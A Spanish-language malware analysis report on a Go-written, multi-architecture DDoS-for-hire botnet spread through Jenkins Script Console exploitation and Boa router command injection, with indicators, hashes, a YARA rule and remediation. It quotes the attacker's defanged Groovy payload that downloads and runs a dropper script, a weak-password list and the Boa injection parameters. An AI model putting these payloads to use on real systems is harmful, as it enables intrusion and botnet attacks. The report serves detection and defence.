malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai
Una botnet DDoS de alquiler multiplataforma en Go
Kinryū Labs analizó bot.exe, la compilación para Windows de una botnet DDoS escrita en Go y distribuida como un dropper de 11 binarios y 13 arquitecturas, entregada a través de una campaña de explotación de la Consola de Scripts de Jenkins de varios días. El reconocimiento del host de preparación identificó una API de DDoS de alquiler activa y autenticada, un canal de comandos SSH en Go y una familia del linaje Mirai coalojada. Valoramos con confianza alta que se trata de una operación comercial de DDoS de alquiler.
Por Davis Zheng·
TLP:CLEAR. Autorizado para publicación. La muestra y su dropper fueron capturados por la red de sensores honeypot de Kinryū Labs durante una campaña de explotación de Jenkins de varios días observada en varios sensores. Los binarios capturados se analizaron de forma estática y no se ejecutaron; el host de preparación del operador se caracterizó mediante reconocimiento externo activo (enumeración de servicios, listado de FTP anónimo y sondeo no autenticado de una API expuesta), sin eludir ninguna autenticación. Los indicadores del atacante están neutralizados (defanged).
Resumen ejecutivo
- 13compilaciones por arquitectura, 11 binarios únicos
- 5métodos DDoS con nombre, más una API de alquiler
- 3IP de origen coordinadas en un mismo /22
- 2familias de botnet en un mismo host
bot.exe es la compilación para Windows x86-64 de una botnet DDoS escrita en Go y distribuida como un dropper multiarquitectura. Un script de shell acompañante, bins.sh, recupera trece compilaciones por arquitectura, once únicas tras la deduplicación, que cubren x86 de 32 y 64 bits, cuatro perfiles ARM, ARM64, Android ARM64, y MIPS big-endian y little-endian, junto al binario de Windows. El dropper llegó a la red honeypot mediante la explotación de un servidor Jenkins expuesto.
El malware incorpora cinco métodos de inundación con nombre (HTTP, handshake TLS, ICMP, TLS directo y un método volumétrico etiquetado VOULT), una inundación HTTP que rota cadenas User-Agent de navegador y cabeceras de idioma para parecerse a tráfico legítimo, y cargas útiles de inyección de comandos dirigidas al servidor web Boa en dispositivos con SDK de RealTek para autopropagarse. El reconocimiento del host de preparación en 185.226.93[.]242 identificó una API de DDoS de alquiler autenticada en el puerto 3333, un servicio SSH implementado en Go en el puerto 2222 que sirve como canal de comandos, y un servicio FTP anónimo que aloja una segunda familia de botnet del linaje Mirai/Gafgyt.
Kinryū Labs valora con confianza alta que bot.exe forma parte de una botnet DDoS maliciosa, autopropagante y multiarquitectura, gestionada como un servicio comercial de alquiler. Tres hallazgos sostienen la valoración: las propias cadenas de método de ataque y de explotación del binario; una API de alquiler activa en el host de preparación del operador que valida los parámetros del trabajo y exige autenticación; y la telemetría del honeypot de una campaña sostenida y multinodo que entrega el dropper.
- bot.exe es una botnet DDoS multiplataforma escrita en Go. Cinco cadenas de registro de métodos de inundación distintos llevan parámetros de objetivo y duración, junto a maquinaria de suplantación de navegador y soporte SOCKS5, todo en cadenas sin ofuscar y corroborado por la API activa.
- La operación se gestiona como un servicio comercial de DDoS de alquiler. El host de preparación expone una API en el puerto 3333 que valida los parámetros del trabajo (
user,psw,host,method,time,port) y rechaza las credenciales inválidas. - La botnet se autopropaga mediante inyección de comandos en IoT. El binario lleva una carga útil de inyección de comandos
formSysCmdde Boa, una ruta de fuerza bruta de inicio de sesión de router, y las funciones exportadasloginDeviceyloginDeviceCaptcha, e inyecta el mismo one-liner del dropper registrado en los logs del honeypot. - Tres IP de origen son un único operador. Tres direcciones en
185.226.92[.]0/22entregaron cargas útiles idénticas con temporización coordinada y una lista de credenciales compartida, y las IP de entrega y de preparación presentan claves de host SSH idénticas, lo que indica un mismo host o imágenes clonadas.
Entrega: una campaña sostenida contra la Consola de Scripts de Jenkins
El dropper se entregó mediante la explotación de una instancia de Jenkins expuesta a internet. La telemetría del honeypot registró un método coherente de dos pasos: un GET /crumbIssuer/api/json para recuperar el token CSRF, seguido de un POST /script que lleva una carga útil de la Consola de Scripts de Groovy. La carga útil era idéntica en todos los intentos y aquí está neutralizada:
println new ProcessBuilder('sh','-c',
'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
curl -O hxxp://185.226.93[.]242:1001/bins.sh;
chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text
Las solicitudes llevaban una cabecera Authorization: Basic que rotaba un breve diccionario de contraseñas numéricas débiles para la cuenta admin (admin:1123, admin:123451, admin:1231231, admin:1111111, admin:12345123), la firma de una lista de credenciales automatizada más que de una autenticación dirigida.
La campaña se desarrolló durante varios días en oleadas repetidas:
- Oleada 1Primeros sondeos: comprobación del crumb CSRF seguida de RCE en Groovy, desde la IP de preparación y una segunda dirección del mismo bloque.
- Captura
bins.shy las trece variantes recuperadas en dos sensores con unas catorce horas de diferencia, idénticas byte a byte en ambos. - Oleadas posterioresExplotación paralela desde las tres IP de origen con minutos de diferencia entre sí, con User-Agents rotados.
Las solicitudes de explotación rotaban un amplio conjunto de User-Agents de navegador realistas, mientras que el barrido de reconocimiento en busca de más objetivos Jenkins (una obtención de /login seguida de una ráfaga rápida de solicitudes /script) usaba el Go-http-client/1.1 por defecto. Los User-Agents falsificados acompañan las cargas útiles de explotación; el escáner usa el cliente Go nativo de la botnet. El propio host de preparación y C2 participó en la explotación, de modo que la infraestructura de ataque y de alojamiento no están separadas.
El malware: un único código base en Go, once binarios
Escribir el bot en Go permite que un único código base se compile de forma cruzada para cada objetivo que el operador quiera. El dropper recorre toda la línea de productos, obteniendo cada compilación con wget y de nuevo con curl como alternativa, marcándola como ejecutable, ejecutándola y eliminándola. El dropper incluye un .exe de Windows, que el dropper de Linux igualmente pasa por chmod +x, y la estructura generada del script apunta a una canalización de compilación y listado. Tras la deduplicación, las trece compilaciones se reducen a once binarios únicos: las compilaciones x86 e i386 coinciden, al igual que las compilaciones ARM genérica y ARMv7. El abanico de arquitecturas, desde MIPS y ARM heredado hasta Android, marca una botnet dirigida a routers, cámaras y otros dispositivos embebidos; la compilación de Windows lleva el mismo código a equipos de escritorio y servidores.
El binario no está empaquetado (las entropías de sección PE caen entre 5,4 y 6,3) ni despojado de símbolos (el Go build ID y los símbolos de runtime están intactos), de modo que sus capacidades residen en cadenas planas. La marca de tiempo de compilación está a cero, lo cual es normal en compilaciones de Go.
Cinco métodos de inundación aparecen nombrados en las cadenas de registro del binario, cada uno formateado con un objetivo y una duración: una inundación “HTTP (Optimized)”, una inundación de agotamiento de “Handshake” TLS/TCP, una inundación ICMP “PING”, una inundación de sesión “TLS+” directa, y un método “VOULT”, volumétrico y probablemente basado en UDP. Están presentes tanto opciones de capa de aplicación como de capa de red.
La inundación HTTP está construida para pasar por tráfico legítimo. Rota más de diez cadenas User-Agent de navegador entre Chrome, Edge, Opera, Firefox y Safari en Windows, macOS, iPad y Android; quince locales Accept-Language; y las cabeceras de huella sec-fetch-* y sec-ch-ua-* que inspeccionan los servicios de mitigación. Establece un Referer de un pequeño conjunto de sitios de alta reputación (google.com, reddit.com, facebook.com, bing.com, twitter.com y fbi.gov). Una entrada del conjunto de User-Agent es la cadena literal Hello World, un marcador de posición de desarrollador que constituye una firma de detección limpia porque ningún cliente legítimo lo envía.
La propagación se dirige al servidor web Boa, un pequeño demonio HTTP embebido que aún se distribuye en muchos routers y cámaras con SDK de RealTek. El binario lleva una carga útil de inyección de comandos contra el manejador formSysCmd de Boa y una ruta de fuerza bruta de inicio de sesión contra interfaces de administración de routers, con campos de credenciales JSON y las funciones exportadas loginDevice y loginDeviceCaptcha. El comando inyectado es el one-liner del dropper, de modo que un dispositivo comprometido se convierte en el punto de entrega del siguiente.
Los módulos Go vendorizados son todos paquetes estándar de golang.org/x, sin ningún framework de C2 de terceros enlazado. Incluyen chacha20poly1305, http2/hpack, dns/dnsmessage y http/httpproxy, en consonancia con las capacidades observables: un canal cifrado y autenticado, HTTP/2, DNS en bruto y proxy SOCKS5 (las cadenas socks5, socks connect y socksUsernamePassword están presentes). La configuración de C2 se recupera en tiempo de ejecución desde hxxp://<C2>/config.dat; la única dirección codificada en el binario es el host de preparación.
Infraestructura de comando y control y de preparación
El reconocimiento del host de preparación identificó los siguientes servicios:
| Puerto | Servicio | Propósito |
|---|---|---|
| 21/tcp | vsftpd 3.0.3, inicio de sesión anónimo habilitado | Preparación de malware (segunda familia, más abajo) |
| 22/tcp | OpenSSH 9.2p1 (Debian) | Acceso del operador |
| 1001/tcp | Servidor Go net/http | Preparación primaria: sirve bins.sh y las variantes |
| 2222/tcp | SSH en Go (SSH-2.0-Go) | Canal de comandos del bot |
| 3333/tcp | Servidor Go net/http | API de DDoS de alquiler |
Dos hallazgos respaldan la valoración de alquiler. La IP de entrega y el host de preparación presentan claves de host SSH ED25519, RSA y ECDSA idénticas, lo que los sitúa en la misma máquina o en imágenes clonadas de una misma plantilla, y el servicio SSH en Go del puerto 2222 presenta una clave distinta de la del OpenSSH del sistema en el puerto 22, lo que lo marca como una aplicación separada y no como un reenvío. La API del puerto 3333 rechaza una solicitud por parámetros faltantes (user, psw, host, method, time/duration, port) y devuelve un fallo de autenticación para credenciales de prueba, mientras que todas las demás rutas devuelven 404. Esta es la interfaz mínima y autenticada por solicitud de un booter comercial, ejecutándose sobre infraestructura activa.
Una segunda familia en el mismo host
El servicio FTP anónimo aloja una familia de botnet independiente, denominada aquí “boatnet” por sus nombres de archivo. Su dropper (ohshit1.sh) usa el cliente ftpget de BusyBox, renombra cada binario a WTF antes de ejecutarlo, y lanza compilaciones en segundo plano en quince arquitecturas, incluidos objetivos embebidos exóticos (ARC, m68k, SH4, SPARC) del linaje Mirai/Gafgyt. Los binarios son ELF compilados en C, despojados de símbolos y empaquetados (entropía de 7,6 a 7,9 sin firma UPX, lo que indica un empaquetador propio), de modo que poco sobrevive a la revisión estática. Los artefactos de boatnet son anteriores al dropper de bot.exe y ejecutan un código base no relacionado, de modo que un único host aloja dos familias de botnet distintas.
Alojamiento
Ambas IP del atacante caen en 185.226.92[.]0/22, registrado a un proveedor de VPS con sede en Turquía (nombre de red BIGCORE-US, AS205196 / AS57152) a través de RIPE NCC, con contacto de abuso [email protected]. Identificamos al proveedor de alojamiento con fines de notificación y no hacemos ninguna afirmación sobre la identidad del operador.
Indicadores de compromiso
La infraestructura del atacante está neutralizada. Los hashes de la muestra y las cadenas de detección llevan valores reales a propósito.
Red
| Indicador | Contexto |
|---|---|
185.226.93[.]242 | Host de preparación + C2; también un escáner activo |
185.226.92[.]110 | Escáner primario / nodo de entrega |
185.226.92[.]173 | Escáner secundario |
185.226.92[.]0/22 | Asignación de alojamiento (BIGCORE, AS205196). Bloqueo de perímetro razonable |
185.226.93[.]242:1001 | Preparación HTTP (bins.sh + variantes) |
185.226.93[.]242:2222 | Canal de comandos SSH en Go |
185.226.93[.]242:3333 | API de DDoS de alquiler (/api, con validación de parámetros) |
185.226.93[.]242:21 | FTP anónimo, preparación de boatnet |
hxxp://<C2>/config.dat | Patrón de recuperación de config de C2 en tiempo de ejecución |
/boafrm/formSysCmd, /boafrm/formLogin | URI de RCE de Boa y de fuerza bruta de inicio de sesión en la propagación saliente |
Clave de host SSH (ED25519) …INAjVN5fIlxTHxT4R3yqTS8… | Compartida entre las IP de entrega y C2; indicador de pivote |
Archivos
| Archivo | SHA-256 |
|---|---|
bot.exe (Windows x64) | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 |
bins.sh (dropper) | 15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6 |
boatnet.0eem0a9ali (i386) | 6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b |
boatnet.0t25ax67hl (x86-64) | 920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d |
- bot.exe MD5 / SHA-1 / imphash:
88efcb919000efb700a814fc23e31e3f/6817eae057adf831892995f514fca36c489fdd10/211e227000a1da3333aab2bad5282318 - Go Build ID:
euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
Hashes completos del dropper (11 únicos entre 13 compilaciones)
| Compilación | SHA-256 | Tamaño (bytes) |
|---|---|---|
amd64 | 3261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b70 | 5,919,119 |
x86 / i386 | 575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc398 | 5,787,832 |
arm / armv7l | 9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb10 | 5,898,424 |
arm5 | 365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea582 | 5,898,424 |
arm6 | 34186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f | 5,898,424 |
arm64 | ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b | 5,579,151 |
android_arm64 | 7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf | 6,169,144 |
mips | 9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f5 | 6,619,351 |
mipsle | 14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde7 | 6,619,351 |
bot.exe | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 | 6,020,608 |
Artefactos de host y de credenciales
- Diccionario de fuerza bruta de
adminde Jenkins:1123,123451,1231231,1111111,12345123. ohshit1.sh(dropper de boatnet) y un binario renombrado aWTFantes de la ejecución.- User-Agents distintivos:
Hello World(inundación HTTP del bot) yGo-http-client/1.1(autoescaneo del bot).
De comportamiento
GET /crumbIssuer/api/jsonde Jenkins seguido de unPOST /scriptque lleva una carga útilProcessBuilder('sh','-c', …)de Groovy que obtienebins.sh.- Solicitudes salientes a un host bajo
/config.dat, precedidas de una línea de registroConnecting to CNC.... POST /boafrm/formSysCmdentrante consysCmdselect=5y un cuerpowget … bins.sh.
Detección
Las cadenas son estables y sin ofuscar, así que las firmas son sencillas. La regla YARA de abajo es una candidata construida a partir de cadenas verificadas; valídala antes de desplegarla.
rule go_ddos_bot_multiarch_candidate
{
meta:
description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
author = "Kinryu Labs honeypot CTI"
reference = "4de4621f...e3804" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$cnc = "Connecting to CNC..." ascii
$cfg = "/config.dat" ascii
$atk1 = "HTTP (Optimized) Attack started" ascii
$atk2 = "VOULT attack" ascii
$atk3 = "Handshake Attack started" ascii
$boa = "/boafrm/formSysCmd" ascii
$iot = "loginDeviceCaptcha" ascii
$drop = "bins.sh" ascii
condition:
($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}
Detección de red:
- Jenkins: alertar sobre cuerpos
POST /scriptque contenganProcessBuilderconwget/curlhacia una IP en bruto, en particular precedidos deGET /crumbIssuer/api/json. - Propagación IoT:
content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";. - Infraestructura: bloquear
185.226.92[.]0/22, que cubre las direcciones de entrega y C2, y alertar sobre conexiones salientes a los puertos 1001, 2222 y 3333 en ese rango.
Remediación
- No expongas Jenkins a internet. Colócalo tras autenticación y aislamiento de red, deshabilita la Consola de Scripts para no administradores, y trata un servidor de compilación accesible como un riesgo de compromiso de todo el host. Este fue el vector de entrega.
- Impón credenciales fuertes en Jenkins y limita la tasa de autenticación. La campaña se apoyó en un breve diccionario de contraseñas numéricas débiles para
admin. - Segmenta o reemplaza los routers y dispositivos IoT basados en RealTek/Boa, y bloquea el acceso externo a sus interfaces de administración. Estos son el objetivo de propagación de la botnet.
- Bloquea la asignación de alojamiento (
185.226.92[.]0/22) en el perímetro y alerta sobre la URI de RCE de Boa y el patrón de recuperación deconfig.dat. - Filtra la salida. Un host que alcanza una IP en bruto en el puerto 1001 para obtener archivos con nombre de arquitectura, o que se conecta a los puertos 2222 o 3333 en ese rango, es anómalo y detectable allí donde no hay detección en el host.
- Notifica la infraestructura. La API de DDoS de alquiler y el malware alojado por FTP pueden notificarse al contacto de abuso del proveedor de alojamiento (
[email protected]).
Mapeo de MITRE ATT&CK
| Táctica | Técnica |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Consola de Scripts de Jenkins; formSysCmd de Boa para propagación) |
| Credential Access | T1110.001 Brute Force: Password Guessing (admin de Jenkins); T1110.004 Credential Stuffing (inicio de sesión IoT) |
| Execution | T1059 Command and Scripting Interpreter (Groovy vía Consola de Scripts; dropper de shell Unix) |
| Discovery | T1046 Network Service Scanning (autoescaneo de Jenkins/IoT); T1082 System Information Discovery; T1057 Process Discovery |
| Defense Evasion | T1036 Masquerading (rotación de User-Agent de navegador; renombrado a WTF de boatnet) |
| Command and Control | T1071.001 Web Protocols (config.dat); T1573 Encrypted Channel (ChaCha20-Poly1305; SSH en Go en 2222); T1571 Non-Standard Port (1001/2222/3333); T1090.001 Internal Proxy: SOCKS |
| Lateral Movement / Delivery | T1105 Ingress Tool Transfer (preparación multiarquitectura) |
| Impact | T1498.001 Direct Network Flood (PING, VOULT); T1498.002 Reflection Amplification (agotamiento de handshake) |
Metodología y notas
- Alcance: análisis estático de los binarios capturados, que no se ejecutaron, y reconocimiento externo activo del host de preparación (enumeración de servicios y banners, listado de FTP anónimo y sondeo no autenticado de la API del puerto 3333). No se eludió ninguna autenticación.
- La regla YARA es una candidata construida a partir de cadenas verificadas; valídala antes de desplegarla. Los binarios de boatnet están empaquetados y arrojaron pocas cadenas.
- Las muestras (el dropper de bot.exe, el dropper y los artefactos de boatnet) están disponibles para otros investigadores y defensores que las soliciten. Escribe a [email protected] con una breve nota sobre quién eres y para qué las necesitas.